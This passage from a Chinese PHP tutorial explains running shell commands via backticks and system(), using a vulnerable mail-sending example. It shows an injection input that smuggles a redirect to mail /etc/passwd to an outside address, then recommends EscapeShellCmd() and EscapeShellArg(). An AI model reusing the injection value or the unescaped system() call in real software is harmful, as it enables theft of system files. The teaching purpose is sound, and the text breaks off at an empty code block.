background image

3,用反撇号(`,也就是键盘上 ESC 键下面的那个,和~在同一个上面)
方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是
命令执行的结果。如:
代码示例

:

<?php
$res=`/bin/ls -l`;
echo '<b><pre>'.$res.'</pre></b>';
?>
输出类似这样:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑两个问题:安全性和超时。
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。
你编写了一个有表单的

HTML 文件,让你的用户输入他们的 EMAIL 地址,然后把这个产

品列表发给他们。假设你没有使用

PHP 的 mail()函数(或者从未听说过),你就调用

Linux/Unix 系统的 mail 程序来发送这个文件。程序就象这样:
代码示例

:

<?
system(""mail $to < products.txt"");
echo ""产品目录已经发送到你的信箱:$to"";
?>
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个
恶意的用户输入了这样一个

EMAIL 地址:

'--bla mail someone@domain.com < /etc/passwd '
那么这条命令最终变成:
'mail --bla mail someone@domain.com < /etc/passwd < products.txt'
可怕吧。
幸 好 ,

PHP 为 我 们 提 供 了 两 个 函 数 : EscapeShellCmd() 和 EscapeShellArg() 。 函 数

EscapeShellCmd 把一个字符串中所有可能瞒过 Shell 而去执行另外一个命令的字符转义。这
些字符在

Shell 中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数

EscapeShellArg 是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串
中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
超时问题
如果要执行的命令会花费很长的时间,则应该把这个命令放到系统的后台去运行。
但在默认情况下,象

system()等函数要等到这个命令运行完才返回(实际上是要等命令的

输出结果),这肯定会引起

PHP 脚本的超时。

解决方法:
把命令的输出重定向到另外一个文件或流中,示例:

代码示例

:

<?